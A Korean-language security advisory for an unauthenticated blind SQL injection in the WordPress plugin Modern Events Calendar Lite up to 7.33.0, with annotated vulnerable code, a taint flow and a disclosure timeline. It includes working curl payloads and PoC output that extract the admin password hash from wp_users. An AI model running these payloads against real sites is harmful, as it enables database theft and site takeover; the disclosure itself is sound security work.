
Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션
| 세부 사항 | 값 |
|---|
| 플러그인 | Modern Events Calendar Lite |
| 슬러그 | modern-events-calendar-lite |
| 저자 | Webnus |
| 영향을 받는 버전 | <= 7.33.0 (현재 공급업체에서 배포하는 Lite 릴리스). 전체 post-w.org 범위에 걸쳐 버그 존재; 6.5.6 및 7.33.0에서 연구소 확인, 5.21.2에서 정적 확인. 6.5.6 = 마지막 wordpress.org 빌드 (2022-05-11 폐쇄 시점 동결); 7.33.0 = mec.webnus.net에서 배포하는 현재 빌드 |
| 활성 설치 수 | wordpress.org 카운트는 폐쇄 이후 숨겨짐; 역사적으로 100,000+ 이상. 공급업체에 의해 여전히 활발히 배포/업데이트됨 (Lite via mec.webnus.net; 동일한 7.x 코드베이스가 활발히 판매 중인 MEC Pro의 기반) |
| CWE | CWE-89 (SQL 인젝션) |
| 취약점 | 인증되지 않은 블라인드 SQL 인젝션 (시간 기반 / 불리언 / 오류 기반) |
| 필요 권한 | 없음 (wp_ajax_nopriv_* — 인증 전) |
| 사용자 상호작용 | 없음 |
| CVSS v3.1 | 7.5 (높음) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 상태 | 7.33.0(현재) 및 6.5.6 (WordPress 6.6.5, MariaDB 10.x)에서 엔드 투 엔드 연구소 확인 |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite은 이벤트 목록 스킨(list, grid, masonry, agenda, timeline, tile, custom)을 위해 인증되지 않은 admin-ajax.php "load more" 액션 제품군을 등록합니다. 각 핸들러는 공격자가 제어하는 atts 요청 배열을 읽고, sanitize_deep_array()라는 헬퍼를 통해 전달합니다. 이 헬퍼는 기본 인자로 호출될 때 전혀 새니타이제이션을 수행하지 않으며, 그런 다음 atts['include'](및 atts['exclude']) 값을 post_id IN (...) SQL 조각에 원시로 연결하여 $wpdb->get_results()로 실행하며 $wpdb->prepare()는 사용하지 않습니다.
엔트리 포인트가 wp_ajax_nopriv_*에 등록되어 있으므로 인증, 계정, 논스 또는 사용자 상호작용이 필요하지 않습니다. 인증되지 않은 원격 공격자는 wp_mec_dates에 대한 SELECT의 WHERE 절에 임의의 SQL을 주입하고, 블라인드 시간 기반/불리언/오류 기반 기술을 통해 WordPress 데이터베이스의 모든 데이터(사용자 비밀번호 해시, wp_options 비밀/키, 다른 플러그인의 데이터)를 읽을 수 있습니다.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW 통과, 새니타이제이션 없음
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... $excludes가 비어 있지 않을 때만 도달)
}
return $sanitized;
}
가드 (is_array($excludes) and !count($excludes))는 함수가 $excludes가 기본 빈 배열일 때 완전한 무효 동작을 하도록 만듭니다 — 모든 값이 그대로 복사됩니다. 의도는 분명히 "제외 목록이 있으면 해당 키를 건너뛰기"였지만, 부울 논리는 제외 목록이 제공되지 않을 때 모든 것을 건너뜁니다.
$excludes를 제공하지 않음app/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts'])가 단일 인자로 호출됨 → $excludes가 array()로 기본 설정 → 위의 무효 경로 → $atts는 원시의 신뢰할 수 없는 $_REQUEST['atts']입니다.
IN (...) 절에 원시 연결app/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
배열 요소가 정수 캐스트나 이스케이프 없이 SQL 문자열에 직접 implode()됩니다. (각 요소에 absint()/(int)를 적용했다면 이 문제가 해결되었을 것입니다.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // `#__`를 테이블 접두사로만 교체
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — prepare() 없음
// ...
}
완전히 구축된 문자열이 $wpdb->get_results()에 그대로 전달됩니다.
오염 흐름 (요청 → 싱크):
$_REQUEST['atts'] (공격자 제어, 인증되지 않음)
→ app/skins/list.php:501 sanitize_deep_array($atts) (무효 동작: 기본 빈 $excludes)
→ MEC_skin::initialize($atts) ($this->atts = 원시 atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (prepare 없음)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- 인증되지 않음
nopriv 등록으로 엔드포인트가 인증 전에 접근 가능합니다. 동일한 load_more() 형태와 공유되는 skins.php 쿼리 빌더는 형제 스킨에도 존재하며, 각각 자체 wp_ajax_nopriv_* 액션이 있으므로 동일한 인젝션이 다음 중 하나를 통해 접근 가능합니다:
AJAX 액션 (nopriv) | 스킨 핸들러 |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
load_more()에서 논스가 확인되지 않으며, 액션이 페이지에 플러그인 단축 코드가 있을 것을 요구하지 않습니다 — AJAX 핸들러는 init에서 조건 없이 등록됩니다.
모든 요청은 인증되지 않음(쿠키, 논스 없음). 주입된 값은 atts[include][]에 배치됩니다. 페이로드는 IN ((...) AND (... IN ( 그룹의 두 괄호를 닫고 최상위 OR <sleep>을 추가하여 조건이 스캔된 모든 행에 대해 평가되도록 한 다음, 후행 )) ORDER BY ...를 주석 처리합니다:
TARGET='https://victim.example' # 일반 영구 링크: admin-ajax.php 직접 사용
# 1) 기준 (주입 없음)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) 시간 기반 증명 — 균형 잡힌 최상위 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) 실행됨
# 3) 불리언 오라클 (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) 실제 데이터 추출 (블라인드), 예: 관리자 비밀번호 해시 첫 번째 바이트 == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: 관리자 해시가 '$'로 시작 (phpass)
오류 카나리 atts[include][]=0)MEC_SQLI_CANARY에 대해 실행된 정확한 쿼리 (WP_DEBUG_LOG에서 캡처):
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— 리터럴 토큰 MEC_SQLI_CANARY가 실행된 문에 그대로 나타나며, 원시 연결을 확인합니다. atts[exclude][] 매개변수(skins.php:803 / 603, NOT IN)도 동일하게 주입 가능합니다(연구소 확인: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). 동일한 쿼리 및 주입이 7.33.0(현재 빌드)에서도 재현되었습니다 — 동일한 카나리, 동일한 SLEEP 동작.
mec-unauth-sqli-poc.py(포함)는 완전히 자체 포함되어 있으며 자격 증명이 필요하지 않습니다: 주입(기준 vs SLEEP)을 확인한 다음, 시간 기반 블라인드 추출을 통해 임의의 데이터(기본: @@version, DB 사용자, 첫 번째 관리자의 user_login:user_pass)를 추출합니다. 각 응답(HTTP 200)을 검증하고 --delay + 백오프를 사용하여 WAF/속도 제한(예: mod_evasive)을 피합니다. 데이터는 수정되지 않습니다(읽기 전용 SELECT 컨텍스트).
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
인증되지 않고, 네트워크 접근 가능하며, 데이터베이스에 대한 완전한 읽기 액세스: wp_users 비밀번호 해시, wp_options(auth_key, API 비밀, 토큰) 및 기타 모든 테이블. 실제로 이는 전체 사이트 장악(오프라인 해시 크래킹, 비밀/세션 도난)으로 이어집니다. 무결성 영향은 제한적입니다 — 주입이 $wpdb->get_results()를 통해 SELECT에서 실행되며, 스택된 쿼리는 허용되지 않음 — 따라서 I:N. 무거운 SLEEP/BENCHMARK는 가용성을 저하시킬 수 있지만, 주요하고 신뢰할 수 있게 입증된 영향은 기밀성(C:H)이며, CVSS 7.5를 부여합니다.
라인 번호는 7.33.0(현재) 기준이며, 6.5.6(괄호 안)입니다. 코드는 범위 전체에서 동일합니다.
| 파일 | 라인 (7.33.0 / 6.5.6) | 문제 |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array()는 $excludes가 기본 빈 배열일 때 무효 동작(!count($excludes) 가드) |
app/skins/list.php | 535 / 501 | $_REQUEST에서 읽은 atts를 $excludes 없이 sanitize_deep_array()에 전달 (load_more()에서, 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → 인증되지 않은 엔트리 포인트 |
app/libraries/skins.php | 806 / 603-606 | include / exclude 배열이 post_id IN (...) / NOT IN (...)에 원시 implode()됨 (exclude는 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select()가 prepare() 없이 $wpdb->get_results() 실행 |
형제 스킨(grid, masonry, agenda, timeline, tile, custom)도 동일한 load_more() + skins.php 쿼리 빌더를 공유하며 각각 wp_ajax_nopriv_* 액션을 등록 → 동일한 버그, 여러 엔트리 포인트.
이는 별개이며 이전에 보고되지 않은 인젝션 포인트입니다. 공개적으로 문서화된 모든 MEC SQL 인젝션은 다른 AJAX 액션과 매개변수를 대상으로 하며, 모두 이 발견 이후의 버전에서 패치되었습니다(현재 7.33.0에서 연구소 확인됨):
| 참조 | 인증 | AJAX 액션 | 매개변수 | 수정 버전 |
|---|---|---|---|---|
| CVE-2021-24946 | 인증되지 않음 | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | 인증되지 않음*(addslashes/입력 슬래싱이 비활성화된 경우에만)* | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | 인증됨 (작성자+/구독자) | mec_fes_form | mec[post_id] | 5.16.6 |
| 본 보고서 | 인증되지 않음 (전제 조건 없음) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | 미패치 (≤ 7.33.0) |
mec_load_single_page에 있습니다. 이 문제는 스킨 "load more" 페이지네이션(load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...) 빌더)에 있으며, sanitize_deep_array()의 무효 기본 분기를 통해 도달합니다. mec_load_single_page 패치는 skins.php를 건드리지 않습니다.id)은 PHP/WordPress 입력 슬래싱이 비활성화된 경우에만(기본이 아닌 상태) 악용 가능했습니다. 그 값이 따옴표로 묶인 컨텍스트에 있기 때문입니다. 여기서 atts[include]/atts[exclude] 값은 따옴표 없는 숫자 IN(...) 컨텍스트에 도달하며 괄호 + SQL 키워드(0)) OR SLEEP(3)#)를 사용하여 악용되는데, 이는 wp_magic_quotes()가 무력화하지 못합니다. 따라서 기본 WordPress 설치에서 악용 가능합니다 — 스톡 WP 7.0(매직 쿼리 켜짐)에서 연구소 확인됨.mec_load_single_page 패치(6.4.0) 이후 4년 및 주요 버전이 지난 후.Modern Events Calendar Lite는 2022-05-11에 wordpress.org에서 제외되었습니다("이유: 가이드라인 위반"). 따라서 wordpress.org 빌드는 6.5.6에서 동결되었습니다. 이것이 플러그인이 중단되었다는 의미는 아닙니다 — Webnus는 플랫폼 외부에서 개발을 계속했습니다: mec.webnus.net에서 배포되는 현재 Lite 빌드는 7.33.0이며, 취약한 코드 경로는 거기서 바이트 단위로 동일합니다(연구소 확인됨; SQLi는 7.33.0에서 동일하게 작동). 따라서 버그는 제외 이후 범위의 모든 릴리스에 영향을 미치며, 동결된 wordpress.org 복사본뿐만이 아닙니다.
라우팅 영향("wordpress.org에서 폐쇄됨" 이의제기는 처음 보이는 것보다 훨씬 약함):
app/libraries/skins.php, app/libraries/main.php, app/libraries/db.php는 공유 핵심 라이브러리이므로 Pro는 거의 확실히 영향을 받습니다. 공식적으로 주장하기 전에 Pro 소스에 대해 이를 확인해야 하지만, 공유 라이브러리 아키텍처로 인해 매우 가능성이 높습니다. 확인된 Pro 영향은 발견이 Patchstack(공개 판매 구성 요소)에 대해 명확히 범위 내에 있으며, wordpress.org 목록 상태와 관계없이 MITRE/Patchstack CVE를 받을 가치가 있습니다.CVE는 정당합니다: 인증되지 않고, 네트워크 접근 가능하며, 전체 DB 읽기 SQL 인젝션이 현재 공급업체 배포 제품에서 6자리 역사적 설치 기반을 가진 제품에서 발생합니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-06-03 | 자동 플러그인 검토 중 발견; MEC Lite 6.5.6(wordpress.org 동결 빌드)에서 엔드 투 엔드(인증되지 않음) 확인 |
| 2026-06-04 | 7.33.0(mec.webnus.net에서 현재 공급업체 배포 Lite)에서 엔드 투 엔드 재확인; 코드/인젝션이 동일함을 확인 — 발견은 현재이며, 제외 버전 아티팩트가 아님 |
| 2026-06-04 | 공급업체 통지(Webnus) + WPScan CVE 요청; MEC Pro가 경로를 공유하는지 확인 |
| 2026-06-05 | 취약점 확인 및 CVE 할당 |